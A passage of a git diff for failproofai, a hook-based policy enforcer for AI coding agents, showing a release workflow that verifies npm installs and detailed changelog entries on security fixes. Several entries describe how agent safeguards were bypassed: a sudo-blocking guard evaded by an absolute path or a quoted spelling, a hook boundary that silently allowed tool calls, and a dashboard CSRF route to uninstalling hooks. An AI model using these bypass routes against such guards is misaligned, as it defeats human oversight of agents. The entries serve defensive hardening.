"::add-mask::$APP_TOKEN" + AUTH_HEADER="Authorization: Basic $(printf 'x-access-token:%s' "$APP_TOKEN" | base64 -w0)" + git -c "http.https://github.com/.extraheader=$AUTH_HEADER" \ + push "https://github.com/${GITHUB_REPOSITORY}.git" HEAD:main - name: Note skipped bump if: >- @@ -415,3 +726,121 @@ jobs: REF_NAME: ${{ github.ref_name }} run: | echo "::notice::Left main's version untouched (ref '$REF_NAME', dry_run=$DRY_RUN). Main is bumped only by a release or a dispatch from main." + + # The last word on whether a release actually reached users: a real + # `npm install` from the registry, on a clean runner, one per platform the + # daemon ships for. + # + # `npm view` (in the publish job) proves a manifest is queryable. It does not + # prove the tarball is fetchable, that npm's `os`/`cpu` filters resolve the + # right platform package on the machine it is meant for, that the executable + # bit survived publish -> install, or that the binary inside is the version + # the CLI beside it believes it is. Only an install proves those, and each + # one has its own failure mode a manifest query reads as healthy. + # + # A matrix is not optional here: npm installs the ONE platform package + # matching the runner's os/cpu and silently skips the other three, so a + # single-runner check can only ever verify a quarter of what shipped. + verify-install: + name: verify-install (${{ matrix.platform }}) + needs: [preflight, publish] + if: ${{ needs.preflight.outputs.dry_run != 'true' }} + strategy: + fail-fast: false + # Same four legs as the build matrix, each on a runner native to its own + # target — a cross-installed package would not exercise the os/cpu filter + # that decides which binary a real user gets. + matrix: + include: + - os: ubuntu-latest + platform: linux-x64 + - os: ubuntu-24.04-arm + platform: linux-arm64 + - os: macos-15-intel + platform: darwin-x64 + - os: macos-14 + platform: darwin-arm64 + runs-on: ${{ matrix.os }} + steps: + - uses: actions/setup-node@v7 + with: + node-version: "20" + registry-url: "https://registry.npmjs.org" + + - name: Install the published CLI from the registry + env: + PUBLISH_VERSION: ${{ needs.preflight.outputs.publish_version }} + PLATFORM: ${{ matrix.platform }} + run: | + # Same backoff as the registry check: immediate, then 10s / 30s / 1m + # / 2m. An install can 404 for a few seconds after a publish on a CDN + # edge that has not caught up. + INSTALLED="" + for DELAY in 0 10 30 60 120; do + [ "$DELAY" -gt 0 ] && sleep "$DELAY" + if npm install -g "failproofai@$PUBLISH_VERSION"; then + INSTALLED=1 + break + fi + echo "install did not succeed yet; retrying" + done + if [ -z "$INSTALLED" ]; then + echo "::error::failproofai could not be installed from the registry on $PLATFORM at the published version." + exit 1 + fi + + - name: Verify the CLI runs and reports the published version + env: + PUBLISH_VERSION: ${{ needs.preflight.outputs.publish_version }} + run: | + # Not a formality: the package ships a bundled dist/cli.mjs, so a + # broken build publishes fine and fails at the first invocation. + REPORTED=$(failproofai --version) + printf 'failproofai --version -> %s\n' "$REPORTED" + case "$REPORTED" in + *"$PUBLISH_VERSION"*) ;; + *) echo "::error::Installed failproofai reports a different version than the one published."; exit 1 ;; + esac + + - name: Verify the daemon binary arrived through the optional dependency + if: ${{ needs.preflight.outputs.has_daemon == 'true' }} + env: + PUBLISH_VERSION: ${{ needs.preflight.outputs.publish_version }} + PLATFORM: ${{ matrix.platform }} + run: | + # Resolved the same way the CLI resolves it at runtime + # (npmPlatformBinaryPath in daemon-download.ts): from the installed + # failproofai package, so a package that exists on the registry but + # does not resolve for THIS machine still fails here. + ROOT=$(npm root -g) + PKG_DIR=$(node -e ' + const { createRequire } = require("module"); + const { dirname } = require("path"); + const req = createRequire(process.argv[1] + "/failproofai/package.json"); + process.stdout.write(dirname(req.resolve("@failproofai/failproofaid-" + process.argv[2] + "/package.json"))); + ' "$ROOT" "$PLATFORM") + printf 'Platform package resolved at %s\n' "$PKG_DIR" + + PKG_VERSION=$(node -p "require('$PKG_DIR/package.json').version") + if [ "$PKG_VERSION" != "$PUBLISH_VERSION" ]; then + echo "::error::The resolved platform package is not at the published version. The CLI rejects a mismatched platform package and falls back to the download, so this is a silent loss of the offline install path." + exit 1 + fi + + BIN=$(ls "$PKG_DIR"/bin/failproofaid*) + # npm records the executable bit in the tarball; if it did not + # survive publish -> install, the daemon is unlaunchable on a user's + # machine while every manifest still looks correct. + [ -x "$BIN" ] || { echo "::error::The installed daemon binary is not executable."; exit 1; } + + REPORTED=$("$BIN" --version) + printf 'failproofaid --version -> %s\n' "$REPORTED" + case "$REPORTED" in + *"$PUBLISH_VERSION"*) ;; + *) echo "::error::The daemon binary reports a different version than the one published. The CLI builds its download URL from the npm version and the binary at that URL must agree."; exit 1 ;; + esac + + - name: Summary + env: + PLATFORM: ${{ matrix.platform }} + run: echo "::notice::$PLATFORM installs from the registry and carries a matching daemon." diff --git a/.gitignore b/.gitignore index e52e93d3..c664e646 100644 --- a/.gitignore +++ b/.gitignore @@ -77,6 +77,9 @@ packages/*/assets/ # closed-source platform (cloned separately) /platform +# rust +/target + # WSL/Windows alternate data streams *:Zone.Identifier .dev.log @@ -100,3 +103,19 @@ COMMIT_MSG.tmp /canary.env /integration-suite-state.json /cli-integration-state.json + +# Compressed failproofaid binaries — produced by +# .github/workflows/build-daemon.yml (or a local `cargo build --release` + +# gzip for manual Docker verification), uploaded as release assets, never +# committed. Same for npm-pack tarballs produced anywhere in the repo during +# local packaging tests. +/failproofaid-*.gz +*.tgz + +# Release-pipeline scratch. The publish workflow keeps both of these in +# RUNNER_TEMP — a build sweeps anything at the project root into +# .next/standalone — but a manual run (`gh release download --dir +# release-assets`, `build-daemon-packages.mjs --staging .daemon-packages`) +# lands them here. +/.daemon-packages/ +/release-assets/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 90df3c25..c6311a67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,11 +1,222 @@ # Changelog -## 0.0.16-beta.0 — 2026-07-31 +## 1.0.0-beta.11 — 2026-08-07 + +### Fixes +- Stop daemon crash/restart cycles from orphaning live workers. A replacement worker now probes an existing worker socket, sends an acknowledged shutdown request, and only removes the socket after the old worker has begun shutting down; an incompatible live listener blocks startup instead of being silently unlinked. (#PR) +- Stop `handler.test.ts` reading the developer's own machine. It set no `FAILPROOFAI_HOME`, and `handler.ts` resolves cloud-managed policies from disk — so once cloud policy started working, anyone with a real deployment saw the suite fail with their own artifacts as the unexpected argument (`["/home/…/cloud-policies/generations/4/block-curl-simple.mjs"]` where the assertion wanted `undefined`). Nothing was broken; the test was reading their laptop. That is worse than flakiness: CI is green, so the red is only ever seen locally, by exactly the people who most need to trust the suite. Each test now runs against a throwaway home, and the variable is restored rather than deleted so one test cannot hand the real home to the next. (#PR) +- Make the Rust daemon enforce the same cloud-URL rule the TS side does. `CloudClient::new()` checked only that the scheme was `http` or `https`, so `http://internal-host` was accepted and `spawn_maintenance()` then put the org-scoped `policies:pull` bearer token on the wire **in clear, every 30 seconds**. `validateCloudUrl()` in `cloud-enrollment.ts` has always blocked non-loopback `http`, and `configure-wizard.ts` carries a comment asserting the daemon enforces the same rule — it did not. It matters most on the path the TS validator cannot cover: `FAILPROOFAI_CLOUD_URL` takes precedence over the credentials file and is a documented CI/container knob, so it reaches the constructor without passing through the wizard. (#PR) +- Stop a second daemon unlinking a live daemon's socket. `Server::bind()` removed whatever sat at the socket path unconditionally, on the stated grounds that `lock.rs`'s `flock()` makes two daemons impossible. That does not hold across hosts on an NFS-mounted home — pre-NFSv4 locks are client-local without an active lockd, and nothing checks what filesystem `$HOME`/`FAILPROOFAI_HOME` lives on (`audit-lock.ts` already engineers around NFS for `O_EXCL`, so it is a shape this codebase accounts for elsewhere). The path is now **probed** rather than assumed: if something is still accepting there, the second daemon refuses to start instead of stealing the socket and silently orphaning every client of a daemon that is still running. The ordinary restart case is unchanged — a socket file with no listener is still debris. (#PR) +- Stop macOS reporting a healthy daemon as stopped. `daemonServiceStatus()`'s darwin branch runs `sudo -n launchctl print`, and mapped **every** failure to `"stopped"` — including a sudo cache merely gone stale, which is five minutes by default. The wizard then demanded a password and ran an `unload` → write → `load -w` cycle on a service that was fine: a real fail-closed window on a `daemonConfigured` machine, opened to fix nothing, and a direct breach of `configure-wizard.ts`'s own rule that setup must not demand sudo for work already done (which holds on Linux, where `systemctl is-active` needs no root). "Cannot read the state" is now its own `unknown` status, and the wizard answers it by asking the daemon itself — a real hook evaluation over the socket, needing no privileges. (#PR) +- Verify the daemon binary installed from the npm channel. `installFromNpmPackage()` did no integrity check at all, reasoning that npm verified the tarball on install — true, and about a different moment: npm checks at **extraction**, while this reads a loose file out of a shared, writable `node_modules` some time later and installs it as a root-owned, boot-persistent system service. The publish now records each binary's SHA-256 in the **root** manifest (not in the platform package beside the bytes it describes, which would verify nothing) and the install refuses a mismatch, falling through to the release-download channel that verifies its own digest. Honest about its limits: it closes accidental corruption and a non-adaptive overwrite, not an attacker already executing code in the same tree. Absent digests — every dev build and unpublished commit — mean "nothing to compare against", never "verified". (#PR) +- Correct `daemon-client.ts`'s comments, which described behaviour `2926252` deliberately removed. `DaemonFailure`'s doc still said a protocol mismatch must fall back to in-process evaluation because "denying every tool call over it would take a working machine offline to protect nothing"; both failures have routed to the same forced deny since that commit. A contributor reading only this file had every reason to "restore" the fallback and reintroduce the second reachable policy engine that change existed to eliminate. (#PR) +- Harden the release pipeline in three places. (1) `publish.yml`'s concurrency group was `publish-${{ github.ref }}`, and the two triggers it exists to serialize never share a ref — `release: published` runs as `refs/tags/vX.Y.Z`, `workflow_dispatch` as `refs/heads/main` — so they landed in different groups and neither queued behind the other. `npm view` reads through a cache documented to lag up to two minutes, so both could pass the preflight's "unpublished" check and proceed, which is the orphaned-platform-package split the block was written to prevent. Now a constant group. (2) The publish job checked out with the version-bot App token **persisted**, and that token bypasses the org ruleset on `main` — so it sat readable in `.git/config` through `bun install`'s `prepare` (a full Next build) and every dependency lifecycle script, long before the single `git push` at the end that needs it. It is now supplied to that one command. `ci.yml` and `build-daemon.yml` were hardened for the same risk carrying a *weaker* token; this job was missed. (3) `npm publish` re-runs `prepare`, which inherited `NODE_AUTH_TOKEN` into the bundler and everything it loads. The build is now its own step and the publish skips scripts. The rebuild itself had to stay — `bun build` inlines `package.json`'s version into `dist/cli.mjs`, and `daemon-download.ts` derives the release URL from it, so a tarball built before the version step would ship a CLI fetching its daemon from the wrong tag. (#PR) +- Close the dashboard's CSRF gap on a non-loopback bind. The lockdown is three layers — bind loopback, pin the `Host`, reject cross-origin mutating requests — and a request carrying **no** `Origin` was exempt from the third one unconditionally. That exemption's own comment explains it in terms of the bind ("with a loopback bind it is necessarily a local process"), but it was never gated on one. `dashboard-host.ts` deliberately supports a routable bind for containers and remote dev boxes, and there all three layers were off at once: layer 1 by the operator's choice, layer 2 because the `Host` pin is skipped for exactly that case, and layer 3 because no `Origin` is the default for `curl` and every other non-browser client. Any host on the segment could POST `/api/auth/login-verify` (unauthenticated, grafts a token into `auth.json`), `/policies` (uninstalls failproofai's hooks from every CLI) or `/api/audit/run`. Origin-less **mutating** requests are now refused unless the bind is loopback; reads and genuine same-origin writes are untouched, so the deliberate bind stays usable. (#PR) +- Stop `bun run dev -H ` desyncing the dashboard's real bind address from the one it enforces against. `parse-script-args.ts` captured only `--host`, but `bun run dev` forwards unrecognised arguments to `next dev`, whose own spelling is `-H`/`--hostname` — so a raw `-H 0.0.0.0` bound the wildcard while `FAILPROOFAI_DASHBOARD_HOST` stayed `127.0.0.1`. `proxy.ts` then enforced the loopback-only `Host` pin, which a raw network client forges trivially and a browser cannot, against a server that really was reachable — and skipped the no-Origin refusal above, which is the check that actually matters for that bind. Contributor-workflow only: the shipped dashboard takes no CLI passthrough. (#PR) +- Make reinstalling the daemon actually replace the daemon. The Linux install path ran `daemon-reload` + `enable --now`, and `--now` starts a unit that is **stopped** and does nothing to one that is already active — so every reinstall over a live daemon rewrote `/etc/systemd/system/failproofaid@.service` and left the **old process running the old binary**, reporting success. `ensureDaemonServiceCurrent` already documents this trap and uses `restart`; the install path never inherited it. Version skew is where it bit: the wizard's `daemonBroken` is `daemonUpToDate && !daemonAnswers` and `daemonUpToDate` requires no skew, so skew can never set it, the uninstall-then-reinstall path never fires, and the install runs straight over the survivor. `probeDaemon()` then reads that survivor's protocol-mismatch reply as `ok` — deliberately, because it is "acted on elsewhere", elsewhere being exactly this install — so `daemonConfigured` was recorded at the NEW version and `pruneOldDaemonBinaries()` was free to delete the binary the running process came from. The documented recovery for a `PROTOCOL_VERSION` bump (`npm update -g failproofai` → `failproofai config`) therefore left the machine exactly as skewed as it started. Now `enable` + `restart`, which also covers the fresh-install case since `restart` starts a stopped unit. The by-hand commands printed when sudo is unavailable were fixed too — they told an upgrading user to run the same no-op. Live-reproduced against real systemd 249: `enable --now` left MainPID 81 on the old binary; `enable` + `restart` moved to a new PID on the new one. (#PR) +- Make the hook CLI's outermost error boundary fail **closed**, which it never did. Any exception reaching `bin/failproofai.mjs`'s `--hook` catch wrote **zero bytes** to stdout, logged to stderr and exited 2 — a deny for Claude and Factory's non-Stop events, and a silent **ALLOW** for the seven CLIs that read their verdict from stdout JSON and ignore the exit code (Cursor, Pi, Hermes, OpenClaw, Devin, Antigravity, Goose, plus Factory's Stop). Wrapping `readActiveCloudManagedPolicies`' fourteen throw sites closed one source of such throws; the boundary itself still failed open for every other source — **including a throw from the forced-deny call that handles an unreachable daemon**, so the fail-closed path could itself fail open. It now emits a real deny, shaped by the same evaluator the unreachable-daemon path uses (so no second copy of twelve CLI contracts can drift), and leaves through `exitAfterFlush` rather than the one bare `process.exit` left on the hook path — which could truncate the very bytes carrying the deny. The verdict is written **before** telemetry, because `flushHookTelemetry` loops unbounded and a stuck send used to hold it back indefinitely. (#PR) +- Stop redaction destroying the data next to the secret. `match_assignment` matched at the opening quote rather than at the value, so `quoted` looked at the `=` before it and read false — and the unquoted stop-set then ran past the closing quote to the next space. `docker run -e API_KEY="…"myapp/image:latest` came out as `API_KEY=[redacted:secret-assignment]` with the image tag **silently deleted**, and nothing in the output distinguished "a secret was removed" from "your data was eaten". Even the plain `KEY="value"` case swallowed both quotes, which the function's own doc comment says it does not. Quotes now also terminate an *unquoted* value, matching what `match_bearer` already did: an unquoted shell word does not contain a bare quote, so stopping costs no real redaction, and running past one destroys whatever it delimits. A test pins the general invariant — every character outside the replaced span survives verbatim. (#PR) +- Keep collector health reporting on the live collector instead of a dead one. `fpai_collect::health`'s registry was a `OnceLock`, the same defect fixed in `telemetry.rs`'s sibling `COLLECTOR_METRICS` and never mirrored here — so only the FIRST `install()` took effect. That was harmless until the collector became cyclable; now every credential rotation, `[collector]` change and `failproofai backfill` rebuilds it, and every install after the first was silently dropped. Sources reported through the free functions into the orphaned first generation while the live writer published the one nobody wrote to, so `collector-health.json` was faithfully rewritten every 30s with frozen numbers — and a source that had gone completely dark read exactly like a healthy idle one, which is the single thing this file exists to tell apart. (#PR) +- Never let a thread the OS refused take the machine's enforcement with it. `5faf3bc` converted three daemon lanes from `std::thread::spawn` to `Builder::spawn`, and missed the two spawns that matter more. `server.rs` spawned every connection handler with the panicking form, on the daemon's MAIN thread, up to 64 concurrently — so one `EAGAIN` under a `RLIMIT_NPROC` or pids-cgroup ceiling killed `failproofaid`, denied every tool call across all twelve CLIs, and returned to the same exhausted limit under `Restart=on-failure`. It now logs and drops that one connection — the bounded overload `MAX_INFLIGHT_CONNECTIONS` already produces — and returns its in-flight slot, because leaking 64 of those would wedge the daemon exactly as the panic did. `worker.rs` had the same trigger with a quieter ending: its output drainers spawn while `ensure_started` holds the child mutex, so a refusal panicked mid-guard and POISONED it, and that unwind reaches only a handler thread. The daemon survived, kept answering `Ping`, looked healthy — and panicked on every `Hook` request for the rest of its life, while `shutdown()` and `Drop` silently stopped reaping the worker and left it orphaned. Both halves are closed: the spawn cannot panic, and every lock site recovers a poisoned guard instead of treating it as unusable. (#PR) + +## 1.0.0-beta.10 — 2026-08-07 + +### Features +- Add `failproofai backfill` — re-send history the collector has already read past. The collector never re-reads a file it has a cursor for, which is right for steady state and wrong exactly twice: when the dashboard's data was cleared or a machine was re-enrolled, and when cursors advanced before there was anywhere to send. Both leave a machine whose transcripts exist locally and nowhere else, with no way to ask for them again. Re-sending is safe rather than lucky — re-reading is already the documented recovery path for a damaged cursor store, and redaction is deterministic, so a re-sent event hashes identically to its first send and collapses into the row already there. Defaults to 30 days (`--since 30d | 6m | YYYY-MM-DD` to widen, `--dry-run` to look first), covers every agent CLI with sessions on disk, and sends only the streams `[collector]` enables — a backfill can never ship transcripts on a machine that set `sessions = false`. It hands off to the daemon, because the cursors it rewinds are held in memory by the running collector, which would write them straight back over; but every precondition a person can get wrong (no home, no credential, collection switched off) is checked synchronously first, so a request that cannot work fails immediately rather than in the journal. (#PR) + +### Fixes +- Let a backfill actually reach past 7 days. `new_cursor` refuses any file older than `since_days`, which the daemon hardcoded to 7 — so rewinding cursors for a 30-day window silently delivered a week, gave the older files no cursor at all, and re-skipped them on every subsequent poll. A backfill that asks for 30 days and quietly ships 7 is worse than none: the gap is invisible and the dashboard looks complete. The window is now widened for the rebuild a backfill triggers. Verified on a real machine: 3,364 files older than 7 days were read, the oldest 28.3 days. (#PR) +- Make the daemon pick up a configuration change instead of running on whatever it started with. The collector resolves its ingest credential once, when it starts, and the uploader caches the bearer key at construction — so rotating a key left the file correct and the process wrong. The failure is invisible from every angle a person can check: `--connect` verifies the NEW key itself and reports success, the service stays healthy, and `credentials.toml` holds a key that works when you curl it, while every batch 401s and parks. Observed live: a key revoked at 13:05:37 and replaced 37 seconds later was still producing 401s twenty minutes on, with 26 parked batches and a CLI insisting the machine was connected; the only symptom was data that never arrived. The collector manager now compares the whole on-disk `CollectorConfig` each tick and cycles the collector when it differs — which covers a rotated credential, a stream switched off, a verbosity change and a redaction change, all of which are baked into the tasks at build time and none of which took effect before. Fixing it in the DAEMON rather than the CLI is what makes it unconditional: `config.toml` says "Safe to edit by hand" and means it, and a fleet tool, an editor or a `sed` are all legitimate ways to change it — none of which run our code. It cycles the COLLECTOR, not the daemon, so the enforcement socket keeps serving throughout and a `daemonConfigured` machine never denies a tool call for it. An unreadable file is treated as "wait", not "disabled", so a config caught mid-save is not mistaken for a change. (#PR) +- Stop the telemetry lane reporting a dead collector's counters. The health registry was a `OnceLock`, so every publish after the first was silently dropped — once the collector could be cycled, that meant polling a generation that had already been joined and reporting its totals as current. Nothing errored; the numbers simply stopped moving, which is indistinguishable from a healthy idle machine. (#PR) + +## 1.0.0-beta.9 — 2026-08-06 + +### Fixes +- Carry a machine's decision history across the layout-1 upgrade instead of deleting it. `cache/hook-activity` — every decision the machine had ever recorded, and the data the dashboard's activity tab exists to show — sat inside `cache/`, which the reset removed as a unit. An upgrade therefore threw it away silently, and the message even said so ("removed … activity history") without offering an alternative. The log is now MOVED into layout 2's `hook-activity/`, and the choice of move over copy is the whole design rather than an implementation detail: the collector keys its cursors on `(device, inode)` — deliberately, because the store rotates by renaming `current.jsonl` and a path-keyed cursor would both re-ship the rotated file and carry its offset onto the fresh one — so `rename()` keeps every carried page recognisable and resuming at the right offset, where a copy would give each page a new inode, read as never-seen, and re-ship the lot. `head_fingerprint`, added earlier to defend against inode REUSE, is what makes that safe rather than lucky: it verifies a file's first bytes exactly when a resumed cursor's path has changed, which is precisely this situation. `EXDEV` (a `cache/` on another filesystem) falls back to copy and accepts the re-ship, since ingest dedups on a content hash. The legacy `current.jsonl` is carried under a PAGE name because the destination has its own and it may be mid-write; `current.count` and `stats.json` are dropped rather than merged, because two derived counters cannot be reconciled without inventing a number. +- Stop the reset deleting the cursors that make the above worth doing, and stop it deleting the destination it had just written. `at("cursors")` was removed on the explicit principle of "one rule, no exceptions", accepting a one-off re-ship — a reasonable call when nothing was preserved, and the wrong one now: keeping the log while dropping the watermarks is half a feature, since every carried page would re-ship anyway. More sharply, `hookActivityDir()` was still in `resettablePaths()`, and the reset runs that list AFTER the migrations — so the log was moved and then deleted moments later. `cache/` is likewise no longer removed wholesale; its other children (`cache/audit`, `cache/codex-session-paths.json`) are named individually so nothing else quietly outlives the reset. The reset message now says what was KEPT as well as what went, and counts the carried pages rather than naming them — a user who reads only "removed" has no way to know their history survived. +- Point the default ingest endpoint at the dashboard hostname (`https://app.befailproof.ai/v1/events`) instead of the API server's own. The reverse proxy in front of the hosted deployment already routes `/v1/*` and `/enforcement/v1/*` to the server (`dashboard-ingressroute.yaml`, priority 100 over the catch-all), so this reaches ingest exactly as before while leaving the API server without a public hostname of its own to expose. It also makes one origin sufficient: ingest, `/v1/auth/introspect` and `/enforcement/v1/*` now all hang off the origin someone already has in their browser. Machines with a URL already recorded in `credentials.toml` are untouched — this is only the value used when none was. (#PR) +- Stop asking for the Cloud URL during setup, and take it from `FAILPROOFAI_CLOUD_URL` when a different endpoint is genuinely needed. There is one right answer for the hosted product, and asking made it look like a decision — which is how an API key gets pasted into the URL field, and how the dashboard's own address gets typed at a prompt that wants the API server. Neither is a mistake the person making it can avoid: the prompt had no knowable answer other than the default already on screen. `FAILPROOFAI_CLOUD_URL` is deliberately the same variable the daemon already reads for cloud-managed policy, so one export points the whole machine at one place rather than leaving the wizard and the daemon disagreeing about where it reports. The env value goes through the same `validateCloudUrl` a typed one did (http stays loopback-only, so a bearer token still cannot be exported onto the wire in clear), and an unusable value cancels loudly rather than silently falling back to the hosted service. The destination now appears in the key prompt itself (`API key for app.befailproof.ai`). `--connect --token ` is unchanged. (#PR) +- Enforce that the TypeScript and Rust copies of `DEFAULT_INGEST_URL` stay byte-identical. Both files carried a "MUST stay byte-identical" comment and nothing checked. The CLI resolves a credential to verify the endpoint at setup and the daemon resolves one independently to POST to it, so a divergence fails silently in the worst way: the wizard reports success, the daemon looks healthy, and nothing ever arrives. (#PR) + +### Docs +- Correct the hook-activity paths, which described a design two layouts old. `~/.failproofai/hook-activity.jsonl` was named in three places as the activity log; there is no such file — it is a DIRECTORY of paged JSONL (`current.jsonl` rotating into `page--.jsonl`), and has been since before the layout-2 move out of `cache/`. The same table also gave layout 1's `policies-config.json` and `hook.log` at the home root, both of which moved. Someone following those docs looks for files that are not there and concludes nothing is being recorded — which matters more now that the upgrade preserves that directory rather than deleting it. + +## 1.0.0-beta.8 — 2026-08-06 + + +### Features +- Add `failproofai uninstall` — the sanctioned way off a machine. npm runs no uninstall script, so `npm rm -g failproofai` deletes the package and leaves behind everything durable it installed: hook entries in up to twelve agent CLIs' settings files and a root-owned systemd unit. Those leftovers are not inert — the hook entries invoke `npx -y failproofai`, which re-downloads the package, so a "removed" failproofai keeps running on every tool call; and on a `daemonConfigured` machine the surviving unit points at a worker script npm just deleted, which under fail-closed semantics denies EVERY tool call with nothing on screen naming the cause. The command clears `daemonConfigured` **first**, before hooks and before the service, so a partial uninstall can only ever fail open — the intuitive order leaves a window where the flag demands a daemon that is already gone, and that window is a total agent lockout. `--purge` also deletes `~/.failproofai`; `--dry-run` shows the plan; `--yes` skips the prompt, which is required rather than assumed when there is no TTY. Incomplete cleanup exits non-zero and prints the exact `sudo` commands to finish, and `--purge` suppresses the command's own telemetry — resolving an instance id lazily WRITES `state/telemetry-id`, which re-created the whole directory seconds after deleting it and left a just-wiped machine holding a brand-new tracking identifier. (#PR) + +### Fixes +- Stop `block-sudo` being defeated by a path. It matched the literal word at a command boundary, so **an absolute path to the elevation binary was ALLOWED**: a direct invocation, no obfuscation, one path prefix away from root on a `defaultEnabled` guard. The sibling `block-self-pause` had already been hardened against exactly this and the two had simply drifted. Elevation is now anchored structurally, as that sibling does: prefix assignments, redirections, runners and their flags are walked off, the comparison is on the BASENAME, and `doas` is included because a machine with it installed and only the other one blocked is not blocked. Quoted and backslash-escaped spellings are caught by unquoting each token individually — NOT by stripping the whole string first, which the first attempt did and which turned an escaped pipe inside a `grep` alternation into a segment separator, denying an ordinary search; a security policy that fires on `grep` gets switched off, and a policy that is off protects nothing. A quoted argument is re-examined only when a shell runner was invoked with an eval flag, since a runner evaluating its argument and a search string containing the same text are identical from outside, and the only thing separating them is whether the receiving binary evaluates it. `block-sudo-anchoring.test.ts` covers both directions, and states as an explicit test what static inspection genuinely cannot reach — a variable, base64 through a pipe, a wrapper script on disk — so the honest claim for this policy stays "stops the obvious attempt" rather than "prevents elevation". +- Gate the systemd unit on the files it cannot run without, so an install that is no longer there stops instead of thrashing. `ConditionPathExists=` now covers both the daemon binary and the worker script. Previously a deleted worker left systemd happily running a daemon that could only deny, and a deleted BINARY was worse: ExecStart failed 203/EXEC under `Restart=on-failure` and cycled until it tripped the start-limit and latched into "start request repeated too quickly", which then refused a legitimate restart later. A failed condition is not a failure — systemd skips the job and `systemctl status` names the exact missing path. Verified against real systemd, including that restoring the file brings the unit straight back. (#PR) +- Tell a skipped service apart from a stopped one. `daemonServiceStatus()` gained `condition-failed`, read from systemd's own `ConditionResult`, and the self-heal in `fp-reset` treats it like "not-installed" — clearing `daemonConfigured` so the machine stops denying every tool call, which "stopped" deliberately never does (a restart in flight looks identical, and clearing there would silently downgrade a healthy machine to the in-process path). (#PR) +- Exempt `uninstall` from the first-run wizard. Offering to set a machine up on the way to tearing it down would install hooks and a root-owned unit seconds before the command removes them. (#PR) +- Stop `failproofai config` refusing to finish against a daemon that is working. The setup health probe sends no `cwd`; the daemon deserialises that as `None` and forwards it with `json!({ "cwd": cwd })`, which writes an explicit **null** rather than omitting the key — and the worker's request validator accepted only `undefined`. So the worker answered "unrecognized request shape", the probe failed, and setup aborted with "its worker process could not be run" **against a worker that had already logged that it was listening**. It was not intermittent: the probe never sends a cwd, so it failed on every machine, every time, and setup could never install a daemon. The validator now treats null and absent alike (a wrong TYPE is still refused) and normalises to `undefined` so nothing downstream learns how the wire spells "absent". The same mismatch sat under real enforcement, not just setup: on a `daemonConfigured` machine a hook payload without a cwd fails closed, i.e. denies the tool call. (#PR) +- Make the health probe wait for the socket instead of racing it. It runs moments after `systemctl enable --now`, and a `Type=simple` unit is reported ACTIVE the instant systemd forks it — before the daemon has bound. The probe got the hook path's deliberately-tight 150ms connect budget and one attempt, so on a loaded machine it lost that race and reported a healthy daemon as broken. It now retries for up to 10s. The 150ms is untouched, because that budget is what stops a dead daemon adding latency to every tool call. (#PR) +- Say which fault the probe actually hit. `DaemonFailure` reports `unreachable` for BOTH a refused connection and a request that was accepted and never answered, so setup told people their worker would not start when nothing was listening at all — sending them to inspect a healthy process. `probeDaemon` now distinguishes "never accepted a connection" from "accepted, but could not answer a hook", and the wizard prints the matching remedy. (#PR) + + +### Chores +- Add `scripts/repro-npm-install.sh`, which reproduces a real user install in the shape that actually breaks: `npm i -g` into a ROOT-owned prefix, then the CLI run by an unprivileged user, with real systemd in the container. A single-user laptop cannot exercise that split — its npm prefix is owned by the person running the hooks — which is how the root-owned policy-shim fail-open shipped. It also guards two traps found while writing it: cgroup v2 needs `--cgroupns=host` plus tmpfs mounts or the container exits 255 with an empty `docker logs`, and `npm pack --ignore-scripts` skips the `prepare` rebuild, so the script asserts the version inside the tarball rather than the one in `package.json`. +- Pin `onboarding-attempt.test.ts`'s `hasGlobalHooks` signal instead of reading it. `detectSetupState` takes an injectable home and its docstring promises "every path is derived from an injectable `home`/`cwd`", but `hasGlobalHooksInstalled()` takes no home and walks the REAL user's settings files — so the assertion flipped the moment a developer had failproofai installed on their own machine. The injectability gap is left as-is and noted; the test is now about the attempt record, which is what it is for. + +## 1.0.0-beta.7 — 2026-08-06 + +### Fixes +- Route ALL enforcement through the daemon on a machine that has one, and stop setup relaunching itself on every command. Two changes that answer the same question — what is true when the daemon cannot answer. **First**, a `daemonConfigured` machine now has exactly one evaluator. A protocol-version mismatch used to fall back to in-process evaluation on the grounds that a daemon which answered is demonstrably alive; that fallback was a second policy engine reachable by breaking the first, so it is gone and a mismatch now denies like any other failure. The two are still told apart in the MESSAGE, because the remedies differ — a mismatch names the version and `failproofai config`, where an unreachable socket cannot say more than that it could not be reached. The cost is accepted deliberately: both sides hardcode `PROTOCOL_VERSION`, so the first time it is bumped, a machine whose CLI updated via npm before its daemon did will deny until `failproofai config` runs. `publish.yml` ships both from one commit and `daemonVersionSkew()` already hints on every CLI command, so the window is bounded and self-announcing. In-process evaluation remains only where no daemon exists to route to: unsupported platforms, machines that have not been set up, and this repo's own dogfood configs, which stay off the daemon by standing decision. That leaves one place the rule is not literally true, now written down in CLAUDE.md rather than left to be rediscovered: **Windows**, where `isDaemonSupportedPlatform()` is false, the wizard skips the daemon requirement rather than refusing setup, and the machine therefore enforces in-process with no fail-closed guarantee. The policies are identical and do enforce; the guarantee is what is missing, and dropping the platform was judged worse. **Second**, an aborted setup is now remembered. Every abort path writes nothing at all — deliberately, since a `daemonConfigured` flag with no daemon behind it denies every tool call — which left "never tried" and "tried twenty times and could not finish" indistinguishable, so on a machine without passwordless sudo the wizard relaunched on literally every command, forever. `state/onboarding-attempt.json` records the reason, and the next command prints one line instead. It is emphatically NOT a fourth "configured" signal: a failed attempt still reads as unconfigured to `--status`, to the hook path and to `failproofai config`, which always gets the wizard regardless. And a hint that never became an offer again would be its own failure, so each reason carries a cheap local check for whether its blocker is gone — `needs_root` re-checks elevation, `daemon_failed` re-checks the service manager, a deliberate `cancelled` waits for an upgrade — and setup offers itself again the moment one clears. None of those probes runs on the hook path, which never reaches this gate. + +### Removals +- Stop sending anything about a scheduled scan to Failproof Cloud. The scan reads the CONTENTS of every agent session transcript on the machine — prompts, file contents, pasted credentials, command output — and it POSTed a counters-only projection of that to `/enforcement/v1/machine-scans`. That projection was built defensively (an additive whitelist, rule ids checked against our own catalog, a project COUNT rather than names, `deny_unknown_fields` on the receiving side) and it never carried a path, a command or a line of prose. It is still gone: an audit of what is on someone's laptop is a local tool, and the safest version of a network call it does not need to make is not making it. `machine-scan-payload.ts`, `machine-scan-report.ts` and `harmful.ts` are deleted, and `runScheduledAudit` now ends at the dashboard cache. The scheduled audit itself is untouched — the daemon still runs it, `audit --scheduled` still works, and the /settings controls still schedule it. A regression test pins that a completed scan makes no `fetch` call at all, so the upload cannot return by accident. The receiving route in AgentEye is deliberately left in place and simply stops being called. +- Remove emailed scan reports, which existed only to 